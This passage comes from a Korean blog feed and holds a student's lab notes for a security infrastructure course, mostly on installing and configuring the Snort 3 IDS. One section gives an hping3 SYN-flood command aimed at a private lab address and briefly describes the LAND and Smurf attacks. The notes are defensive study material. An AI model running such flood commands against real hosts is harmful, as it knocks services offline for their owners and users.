      &lt;pre&gt;&lt;code&gt;# 기본 실행 (모든 패킷 캡처)
sudo tcpdump

# 특정 인터페이스 지정
sudo tcpdump -i eth0&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/section&gt;

  &lt;!-- 4. hping3 --&gt;
  &lt;section id=&quot;s4&quot;&gt;
    &lt;div class=&quot;section-header&quot;&gt;
      &lt;div class=&quot;section-num&quot;&gt;4&lt;/div&gt;
      &lt;h2&gt;hping3 — DoS 공격 테스트&lt;/h2&gt;
    &lt;/div&gt;
    &lt;div class=&quot;code-wrap&quot;&gt;
      &lt;div class=&quot;code-header&quot;&gt;
        &lt;span class=&quot;code-dot dot-r&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-y&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-g&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;code-lang&quot;&gt;bash&lt;/span&gt;
      &lt;/div&gt;
      &lt;pre&gt;&lt;code&gt;# SYN Flooding — SYN 패킷 1000개 전송
sudo hping3 172.16.11.235 -S -c 1000&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
    &lt;div class=&quot;table-wrap&quot;&gt;
      &lt;table&gt;
        &lt;thead&gt;&lt;tr&gt;&lt;th&gt;공격 유형&lt;/th&gt;&lt;th&gt;설명&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;
        &lt;tbody&gt;
          &lt;tr&gt;&lt;td&gt;SYN Flooding&lt;/td&gt;&lt;td&gt;다량의 SYN 패킷으로 서버 자원 고갈&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;LAND Attack&lt;/td&gt;&lt;td&gt;출발지/목적지 IP를 동일하게 설정 → 시스템 루프 유발&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;Smurf Attack&lt;/td&gt;&lt;td&gt;출발지 IP 변조 후 브로드캐스트로 다량 응답 유도&lt;/td&gt;&lt;/tr&gt;
        &lt;/tbody&gt;
      &lt;/table&gt;
    &lt;/div&gt;
  &lt;/section&gt;

  &lt;!-- 5. Snort 설치 --&gt;
  &lt;section id=&quot;s5&quot;&gt;
    &lt;div class=&quot;section-header&quot;&gt;
      &lt;div class=&quot;section-num&quot;&gt;5&lt;/div&gt;
      &lt;h2&gt;Snort 3 설치 전체 흐름&lt;/h2&gt;
    &lt;/div&gt;

    &lt;div class=&quot;step-list&quot;&gt;
      &lt;div class=&quot;step-card&quot;&gt;
        &lt;div class=&quot;step-label&quot;&gt;Step 5-1&lt;/div&gt;
        &lt;div class=&quot;step-title&quot;&gt;의존성 패키지 설치&lt;/div&gt;
        &lt;div class=&quot;code-wrap&quot; style=&quot;margin-top:14px&quot;&gt;
          &lt;div class=&quot;code-header&quot;&gt;
            &lt;span class=&quot;code-dot dot-r&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-y&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-g&quot;&gt;&lt;/span&gt;
            &lt;span class=&quot;code-lang&quot;&gt;bash&lt;/span&gt;
          &lt;/div&gt;
          &lt;pre&gt;&lt;code&gt;sudo apt install build-essential libpcap-dev libpcre3-dev libnet1-dev \
zlib1g-dev luajit hwloc libdumbnet-dev bison flex liblzma-dev openssl \
libssl-dev pkg-config libhwloc-dev cmake cpputest libsqlite3-dev uuid-dev \
libcmocka-dev libnetfilter-queue-dev libmnl-dev autotools-dev \
libluajit-5.1-dev libunwind-dev libfl-dev -y

sudo apt install libpcre2-dev -y
sudo apt install -y git&lt;/code&gt;&lt;/pre&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class=&quot;step-card&quot;&gt;
        &lt;div class=&quot;step-label&quot;&gt;Step 5-2&lt;/div&gt;
        &lt;div class=&quot;step-title&quot;&gt;libdaq 설치 — Snort 데이터 수집 부품&lt;/div&gt;
        &lt;div class=&quot;code-wrap&quot; style=&quot;margin-top:14px&quot;&gt;
          &lt;div class=&quot;code-header&quot;&gt;
            &lt;span class=&quot;code-dot dot-r&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-y&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-g&quot;&gt;&lt;/span&gt;
            &lt;span class=&quot;code-lang&quot;&gt;bash&lt;/span&gt;
          &lt;/div&gt;
          &lt;pre&gt;&lt;code&gt;sudo git clone https://github.com/snort3/libdaq.git
cd libdaq
sudo ./bootstrap
sudo ./configure
sudo make
sudo make install
cd ~&lt;/code&gt;&lt;/pre&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class=&quot;step-card&quot;&gt;
        &lt;div class=&quot;step-label&quot;&gt;Step 5-3&lt;/div&gt;
        &lt;div class=&quot;step-title&quot;&gt;gperftools 설치 — 성능 향상 도구&lt;/div&gt;
        &lt;div class=&quot;code-wrap&quot; style=&quot;margin-top:14px&quot;&gt;
          &lt;div class=&quot;code-header&quot;&gt;
            &lt;span class=&quot;code-dot dot-r&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-y&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-g&quot;&gt;&lt;/span&gt;
            &lt;span class=&quot;code-lang&quot;&gt;bash&lt;/span&gt;
          &lt;/div&gt;
          &lt;pre&gt;&lt;code&gt;sudo wget https://github.com/gperftools/gperftools/releases/download/gperftools-2.13/gperftools-2.13.tar.gz
sudo tar xzf gperftools-2.13.tar.gz
cd gperftools-2.13
sudo ./configure
sudo make install
sudo ldconfig&lt;/code&gt;&lt;/pre&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class=&quot;step-card&quot;&gt;
        &lt;div class=&quot;step-label&quot;&gt;Step 5-4&lt;/div&gt;
        &lt;div class=&quot;step-title&quot;&gt;Snort 3 빌드 및 설치&lt;/div&gt;
        &lt;div class=&quot;code-wrap&quot; style=&quot;margin-top:14px&quot;&gt;
          &lt;div class=&quot;code-header&quot;&gt;
            &lt;span class=&quot;code-dot dot-r&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-y&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-g&quot;&gt;&lt;/span&gt;
            &lt;span class=&quot;code-lang&quot;&gt;bash&lt;/span&gt;
          &lt;/div&gt;
          &lt;pre&gt;&lt;code&gt;# snort3 소스 폴더에서 실행
sudo ./configure_cmake.sh --prefix=/usr/local --enable-tcmalloc
sudo make install
sudo ldconfig

# 설치 확인
sudo snort -V&lt;/code&gt;&lt;/pre&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class=&quot;step-card&quot;&gt;
        &lt;div class=&quot;step-label&quot;&gt;Step 5-5 · 트러블슈팅&lt;/div&gt;
        &lt;div class=&quot;step-title&quot;&gt;apt 오류 날 때 (잠금 파일 충돌)&lt;/div&gt;
        &lt;div class=&quot;code-wrap&quot; style=&quot;margin-top:14px&quot;&gt;
          &lt;div class=&quot;code-header&quot;&gt;
            &lt;span class=&quot;code-dot dot-r&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-y&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-g&quot;&gt;&lt;/span&gt;
            &lt;span class=&quot;code-lang&quot;&gt;bash&lt;/span&gt;
          &lt;/div&gt;
          &lt;pre&gt;&lt;code&gt;sudo rm /var/lib/apt/lists/lock
sudo rm /var/cache/apt/archives/lock
sudo rm /var/lib/dpkg/lock*
sudo dpkg --configure -a
sudo apt update&lt;/code&gt;&lt;/pre&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/section&gt;

  &lt;!-- 6. NIC --&gt;
  &lt;section id=&quot;s6&quot;&gt;
    &lt;div class=&quot;section-header&quot;&gt;
      &lt;div class=&quot;section-num&quot;&gt;6&lt;/div&gt;
      &lt;h2&gt;Snort NIC 설정 (프로미스큐어스 모드)&lt;/h2&gt;
    &lt;/div&gt;
    &lt;div class=&quot;callout callout-yellow&quot;&gt;
      &lt;strong&gt;프로미스큐어스 모드란?&lt;/strong&gt;&lt;br&gt;
      일반 NIC는 자신의 MAC 주소가 목적지인 패킷만 처리한다. 이 모드를 켜면 네트워크 상의 &lt;strong&gt;모든 패킷&lt;/strong&gt;을 수신해서 분석할 수 있다. Snort 같은 IDS가 전체 망을 감시하려면 반드시 필요하다.
    &lt;/div&gt;

    &lt;h3&gt;수동으로 켜기&lt;/h3&gt;
    &lt;div class=&quot;code-wrap&quot;&gt;
      &lt;div class=&quot;code-header&quot;&gt;
        &lt;span class=&quot;code-dot dot-r&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-y&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-g&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;code-lang&quot;&gt;bash&lt;/span&gt;
      &lt;/div&gt;
      &lt;pre&gt;&lt;code&gt;sudo ip link set dev enp0s3 promisc on
sudo ethtool -K enp0s3 gro off lro off

# 확인
ip addr
sudo ethtool -k enp0s3 | grep receive-offload&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;

    &lt;h3&gt;부팅 시 자동 실행 서비스 등록&lt;/h3&gt;
    &lt;div class=&quot;code-wrap&quot;&gt;
      &lt;div class=&quot;code-header&quot;&gt;
        &lt;span class=&quot;code-dot dot-r&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-y&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-g&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;code-lang&quot;&gt;bash&lt;/span&gt;
      &lt;/div&gt;
      &lt;pre&gt;&lt;code&gt;sudo vi /usr/lib/systemd/system/snort3-nic.service&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
    &lt;div class=&quot;code-wrap&quot;&gt;
      &lt;div class=&quot;code-header&quot;&gt;
        &lt;span class=&quot;code-dot dot-r&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-y&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-g&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;code-lang&quot;&gt;ini&lt;/span&gt;
      &lt;/div&gt;
      &lt;pre&gt;&lt;code&gt;[Unit]
Description=Set Snort 3 NIC in promiscuous mode and Disable GRO, LRO on boot
After=network.target

[Service]
Type=oneshot
ExecStart=/usr/sbin/ip link set dev enp0s3 promisc on
ExecStart=/usr/sbin/ethtool -K enp0s3 gro off lro off
TimeoutStartSec=0
RemainAfterExit=yes

[Install]
WantedBy=default.target&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
    &lt;div class=&quot;code-wrap&quot;&gt;
      &lt;div class=&quot;code-header&quot;&gt;
        &lt;span class=&quot;code-dot dot-r&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-y&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-g&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;code-lang&quot;&gt;bash&lt;/span&gt;
      &lt;/div&gt;
      &lt;pre&gt;&lt;code&gt;sudo systemctl daemon-reload
sudo systemctl start snort3-nic
sudo systemctl enable snort3-nic&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/section&gt;

  &lt;!-- 7. 설정파일 --&gt;
  &lt;section id=&quot;s7&quot;&gt;
    &lt;div class=&quot;section-header&quot;&gt;
      &lt;div class=&quot;section-num&quot;&gt;7&lt;/div&gt;
      &lt;h2&gt;Snort 설정 파일 수정&lt;/h2&gt;
    &lt;/div&gt;
    &lt;div class=&quot;code-wrap&quot;&gt;
      &lt;div class=&quot;code-header&quot;&gt;
        &lt;span class=&quot;code-dot dot-r&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-y&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-g&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;code-lang&quot;&gt;bash&lt;/span&gt;
      &lt;/div&gt;
      &lt;pre&gt;&lt;code&gt;sudo vi /usr/local/etc/snort/snort.lua&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;

    &lt;h3&gt;188번 라인 — 네트워크 대역 설정&lt;/h3&gt;
    &lt;div class=&quot;code-wrap&quot;&gt;
      &lt;div class=&quot;code-header&quot;&gt;
        &lt;span class=&quot;code-dot dot-r&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-y&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-g&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;code-lang&quot;&gt;lua&lt;/span&gt;
      &lt;/div&gt;
      &lt;pre&gt;&lt;code&gt;HOME_NET = '172.16.11.0/16'
EXTERNAL_NET = '!$HOME_NET'&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;

    &lt;h3&gt;197번 라인 — 룰 파일 연결&lt;/h3&gt;
    &lt;div class=&quot;code-wrap&quot;&gt;
      &lt;div class=&quot;code-header&quot;&gt;
        &lt;span class=&quot;code-dot dot-r&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-y&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-g&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;code-lang&quot;&gt;lua&lt;/span&gt;
      &lt;/div&gt;
      &lt;pre&gt;&lt;code&gt;ips =
{
    variables = default_variables,
    rules = [[
        include /usr/local/etc/snort/rules/local.rules
    ]]
}&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/section&gt;

  &lt;!-- 8. 룰 파일 --&gt;
  &lt;section id=&quot;s8&quot;&gt;
    &lt;div class=&quot;section-header&quot;&gt;
      &lt;div class=&quot;section-num&quot;&gt;8&lt;/div&gt;
      &lt;h2&gt;룰 파일 생성 및 검증&lt;/h2&gt;
    &lt;/div&gt;
    &lt;div class=&quot;code-wrap&quot;&gt;
      &lt;div class=&quot;code-header&quot;&gt;
        &lt;span class=&quot;code-dot dot-r&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-y&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-g&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;code-lang&quot;&gt;bash&lt;/span&gt;
      &lt;/div&gt;
      &lt;pre&gt;&lt;code&gt;cd /usr/local/etc/snort
sudo mkdir rules
cd rules
sudo touch local.rules
ls local.rules

# 설정 검증 — 에러 없으면 &quot;Successfully validated&quot; 출력
sudo snort -c /usr/local/etc/snort/snort.lua&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;

    &lt;h3&gt;검증 화면에서 확인할 3가지 포인트&lt;/h3&gt;
    &lt;div class=&quot;table-wrap&quot;&gt;
      &lt;table&gt;
        &lt;thead&gt;&lt;tr&gt;&lt;th&gt;확인 항목&lt;/th&gt;&lt;th&gt;위치&lt;/th&gt;&lt;th&gt;의미&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;
        &lt;tbody&gt;
          &lt;tr&gt;&lt;td&gt;&lt;code&gt;Successfully validated&lt;/code&gt;&lt;/td&gt;&lt;td&gt;맨 아랫줄&lt;/td&gt;&lt;td&gt;설정 파일 문법 오류 없음 ✅&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;&lt;code&gt;total rules loaded: 219&lt;/code&gt;&lt;/td&gt;&lt;td&gt;중간 rule counts 섹션&lt;/td&gt;&lt;td&gt;룰이 정상적으로 로딩됨&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;&lt;code&gt;pcap DAQ configured to passive&lt;/code&gt;&lt;/td&gt;&lt;td&gt;하단&lt;/td&gt;&lt;td&gt;수동 감시 모드 (탐지만, 차단 아님)&lt;/td&gt;&lt;/tr&gt;
        &lt;/tbody&gt;
      &lt;/table&gt;
    &lt;/div&gt;
    &lt;div class=&quot;callout callout-green&quot;&gt;
      이 화면은 &quot;나는 이제 눈을 뜨고 지켜볼 준비가 다 되었습니다!&quot; 라는 보고서다. 다음 단계는 ping 테스트로 실제로 Alert가 뜨는지 확인하는 것.
    &lt;/div&gt;
  &lt;/section&gt;

  &lt;!-- 9. IDS/IPS 개념 --&gt;
  &lt;section id=&quot;s9&quot;&gt;
    &lt;div class=&quot;section-header&quot;&gt;
      &lt;div class=&quot;section-num&quot;&gt;9&lt;/div&gt;
      &lt;h2&gt;IDS/IPS 핵심 개념 + 룰 구조&lt;/h2&gt;
    &lt;/div&gt;

    &lt;h3&gt;Snort 3가지 동작 모드&lt;/h3&gt;
    &lt;div class=&quot;table-wrap&quot;&gt;
      &lt;table&gt;
        &lt;thead&gt;&lt;tr&gt;&lt;th&gt;모드&lt;/th&gt;&lt;th&gt;설명&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;
        &lt;tbody&gt;
          &lt;tr&gt;&lt;td&gt;Sniffer 모드&lt;/td&gt;&lt;td&gt;패킷을 읽어서 화면에 출력 (tcpdump와 유사)&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;Packet Logger 모드&lt;/td&gt;&lt;td&gt;탐지 패킷을 디스크에 로그 파일로 저장&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;NIDS/NIPS 모드&lt;/td&gt;&lt;td&gt;실시간 패킷 분석 후 룰에 따라 탐지/차단&lt;/td&gt;&lt;/tr&gt;
        &lt;/tbody&gt;
      &lt;/table&gt;
    &lt;/div&gt;

    &lt;h3&gt;★ 룰 구조 — 시험 단골 ★&lt;/h3&gt;
    &lt;div class=&quot;rule-box&quot;&gt;
      &lt;span class=&quot;hl-action&quot;&gt;alert&lt;/span&gt;
      &lt;span class=&quot;hl-proto&quot;&gt; tcp &lt;/span&gt;
      &lt;span class=&quot;hl-ip&quot;&gt;$EXTERNAL_NET any &lt;/span&gt;
      &lt;span class=&quot;hl-arrow&quot;&gt;-&amp;gt; &lt;/span&gt;
      &lt;span class=&quot;hl-ip&quot;&gt;$HOME_NET 80 &lt;/span&gt;
      (&lt;span class=&quot;hl-option&quot;&gt;msg&lt;/span&gt;:&lt;span class=&quot;hl-value&quot;&gt;&quot;HTTP Access&quot;&lt;/span&gt;;
      &lt;span class=&quot;hl-option&quot;&gt;content&lt;/span&gt;:&lt;span class=&quot;hl-value&quot;&gt;&quot;GET&quot;&lt;/span&gt;;
      &lt;span class=&quot;hl-option&quot;&gt;sid&lt;/span&gt;:&lt;span class=&quot;hl-value&quot;&gt;1000001&lt;/span&gt;;)
    &lt;/div&gt;

    &lt;h3&gt;룰 헤더 (Rule Header)&lt;/h3&gt;
    &lt;div class=&quot;table-wrap&quot;&gt;
      &lt;table&gt;
        &lt;thead&gt;&lt;tr&gt;&lt;th&gt;항목&lt;/th&gt;&lt;th&gt;예시&lt;/th&gt;&lt;th&gt;설명&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;
        &lt;tbody&gt;
          &lt;tr&gt;&lt;td&gt;Action&lt;/td&gt;&lt;td&gt;&lt;code&gt;alert&lt;/code&gt;&lt;/td&gt;&lt;td&gt;alert / log / pass / drop&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;Protocol&lt;/td&gt;&lt;td&gt;&lt;code&gt;tcp&lt;/code&gt;&lt;/td&gt;&lt;td&gt;tcp / udp / icmp / ip&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;출발지&lt;/td&gt;&lt;td&gt;&lt;code&gt;$EXTERNAL_NET any&lt;/code&gt;&lt;/td&gt;&lt;td&gt;IP : 포트&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;방향&lt;/td&gt;&lt;td&gt;&lt;code&gt;-&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;단방향 / &lt;code&gt;&amp;lt;&amp;gt;&lt;/code&gt; 양방향&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;목적지&lt;/td&gt;&lt;td&gt;&lt;code&gt;$HOME_NET 80&lt;/code&gt;&lt;/td&gt;&lt;td&gt;IP : 포트&lt;/td&gt;&lt;/tr&gt;
        &lt;/tbody&gt;
      &lt;/table&gt;
    &lt;/div&gt;

    &lt;h3&gt;룰 옵션 (Rule Options)&lt;/h3&gt;
    &lt;div class=&quot;table-wrap&quot;&gt;
      &lt;table&gt;
        &lt;thead&gt;&lt;tr&gt;&lt;th&gt;옵션&lt;/th&gt;&lt;th&gt;설명&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;
        &lt;tbody&gt;
          &lt;tr&gt;&lt;td&gt;&lt;code&gt;msg&lt;/code&gt;&lt;/td&gt;&lt;td&gt;로그에 남길 메시지&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;&lt;code&gt;content&lt;/code&gt;&lt;/td&gt;&lt;td&gt;패킷에서 찾을 문자열 (가장 중요)&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;&lt;code&gt;sid&lt;/code&gt;&lt;/td&gt;&lt;td&gt;룰 고유 번호 (100만번대 이상 사용)&lt;/td&gt;&lt;/tr&gt;
        &lt;/tbody&gt;
      &lt;/table&gt;
    &lt;/div&gt;

    &lt;h3&gt;IDS vs IPS&lt;/h3&gt;
    &lt;div class=&quot;table-wrap&quot;&gt;
      &lt;table&gt;
        &lt;thead&gt;&lt;tr&gt;&lt;th&gt;구분&lt;/th&gt;&lt;th&gt;IDS&lt;/th&gt;&lt;th&gt;IPS&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;
        &lt;tbody&gt;
          &lt;tr&gt;&lt;td&gt;역할&lt;/td&gt;&lt;td&gt;탐지 후 경보&lt;/td&gt;&lt;td&gt;탐지 후 실시간 차단&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;Snort 모드&lt;/td&gt;&lt;td&gt;기본 모드&lt;/td&gt;&lt;td&gt;&lt;code&gt;-Q&lt;/code&gt; 옵션 (Inline Mode)&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;인터페이스&lt;/td&gt;&lt;td&gt;1개&lt;/td&gt;&lt;td&gt;2개 이상 필요&lt;/td&gt;&lt;/tr&gt;
        &lt;/tbody&gt;
      &lt;/table&gt;
    &lt;/div&gt;
  &lt;/section&gt;

  &lt;!-- 10. Snort vs Suricata --&gt;
  &lt;section id=&quot;s10&quot;&gt;
    &lt;div class=&quot;section-header&quot;&gt;
      &lt;div class=&quot;section-num&quot;&gt;10&lt;/div&gt;
      &lt;h2&gt;Snort vs Suricata 비교&lt;/h2&gt;
    &lt;/div&gt;
    &lt;div class=&quot;table-wrap&quot;&gt;
      &lt;table&gt;
        &lt;thead&gt;&lt;tr&gt;&lt;th&gt;항목&lt;/th&gt;&lt;th&gt;Snort&lt;/th&gt;&lt;th&gt;Suricata&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;
        &lt;tbody&gt;
          &lt;tr&gt;&lt;td&gt;스레딩&lt;/td&gt;&lt;td&gt;싱글 스레드&lt;/td&gt;&lt;td&gt;멀티 스레드 (대용량 처리 유리)&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;룰 호환&lt;/td&gt;&lt;td&gt;Snort 룰&lt;/td&gt;&lt;td&gt;Snort 룰 호환&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;로그 형식&lt;/td&gt;&lt;td&gt;텍스트&lt;/td&gt;&lt;td&gt;EVE JSON (&lt;code&gt;eve.json&lt;/code&gt;)&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;설정 검증&lt;/td&gt;&lt;td&gt;&lt;code&gt;snort -c [파일] -T&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;suricata -T -c [파일] -v&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;실시간 로그&lt;/td&gt;&lt;td&gt;—&lt;/td&gt;&lt;td&gt;&lt;code&gt;tail -f eve.json | jq 'select(.event_type==&quot;alert&quot;)'&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
        &lt;/tbody&gt;
      &lt;/table&gt;
    &lt;/div&gt;

    &lt;h3&gt;오탐(False Positive) 관리 포인트&lt;/h3&gt;
    &lt;div class=&quot;callout callout-blue&quot;&gt;
      정상 트래픽을 공격으로 오인하면 서비스 장애가 발생한다. &lt;code&gt;pass&lt;/code&gt; 액션 활용 및 세밀한 옵션 설정으로 관리. 룰 업데이트는 정기적으로 수행 필요 (시그니처 기반 탐지의 한계).
    &lt;/div&gt;
  &lt;/section&gt;

  &lt;!-- 11. 상태 --&gt;
  &lt;section id=&quot;s11&quot;&gt;
    &lt;div class=&quot;section-header&quot;&gt;
      &lt;div class=&quot;section-num&quot;&gt;11&lt;/div&gt;
      &lt;h2&gt;설치 진행 상태&lt;/h2&gt;
    &lt;/div&gt;
    &lt;div class=&quot;table-wrap&quot;&gt;
      &lt;table&gt;
        &lt;thead&gt;&lt;tr&gt;&lt;th&gt;단계&lt;/th&gt;&lt;th&gt;작업 내용&lt;/th&gt;&lt;th&gt;상태&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;
        &lt;tbody&gt;
          &lt;tr&gt;&lt;td&gt;1단계&lt;/td&gt;&lt;td&gt;Snort 3 설치&lt;/td&gt;&lt;td&gt;&lt;span class=&quot;status status-done&quot;&gt;✅ 완료&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;2단계&lt;/td&gt;&lt;td&gt;NIC 서비스 파일 생성&lt;/td&gt;&lt;td&gt;&lt;span class=&quot;status status-done&quot;&gt;✅ 완료&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;3단계&lt;/td&gt;&lt;td&gt;snort.lua 설정 수정&lt;/td&gt;&lt;td&gt;&lt;span class=&quot;status status-done&quot;&gt;✅ 완료&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;4단계&lt;/td&gt;&lt;td&gt;설정 검증&lt;/td&gt;&lt;td&gt;&lt;span class=&quot;status status-done&quot;&gt;✅ 성공&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
        &lt;/tbody&gt;
      &lt;/table&gt;
    &lt;/div&gt;

    &lt;h3&gt;기타 유용한 명령어&lt;/h3&gt;
    &lt;div class=&quot;code-wrap&quot;&gt;
      &lt;div class=&quot;code-header&quot;&gt;
        &lt;span class=&quot;code-dot dot-r&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-y&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-g&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;code-lang&quot;&gt;bash&lt;/span&gt;
      &lt;/div&gt;
      &lt;pre&gt;&lt;code&gt;# 성능 모니터링 도구
sudo apt install htop

# Docker 컨테이너 중지
sudo docker stop pmm-server&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/section&gt;

&lt;/div&gt;

&lt;footer&gt;
    보안인프라_운영관리 수업 실습 기록 &amp;nbsp;|&amp;nbsp;
  CTF 실습: &lt;a href=&quot;https://vulnhub.com&quot; target=&quot;_blank&quot;&gt;vulnhub.com&lt;/a&gt;
&lt;/footer&gt;

&lt;/body&gt;
&lt;/html&gt;</description>
      <category>리눅스</category>
      <author>palantirops</author>
      <guid isPermaLink="true">https://palantirops.tistory.com/40</guid>
      <comments>https://palantirops.tistory.com/40#entry40comment</comments>
      <pubDate>Mon, 11 May 2026 18:09:35 +0900</pubDate>
    </item>
    <item>
      <title>[네트워크] 네트워크 토폴로지 아이피 대역 설정 및 기본 세팅 명령어 정리</title>
      <link>https://palantirops.tistory.com/39</link>
      <description>&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;lt;해당 완성 이미지를 구축할때 필요한 명령어 아래와 같이 정리&amp;gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;과제1.png&quot; data-origin-width=&quot;1061&quot; data-origin-height=&quot;736&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/smdOs/dJMcacJQEyT/SGTgU44pLcTox4PXGFuSCk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/smdOs/dJMcacJQEyT/SGTgU44pLcTox4PXGFuSCk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/smdOs/dJMcacJQEyT/SGTgU44pLcTox4PXGFuSCk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsmdOs%2FdJMcacJQEyT%2FSGTgU44pLcTox4PXGFuSCk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1061&quot; height=&quot;736&quot; data-filename=&quot;과제1.png&quot; data-origin-width=&quot;1061&quot; data-origin-height=&quot;736&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
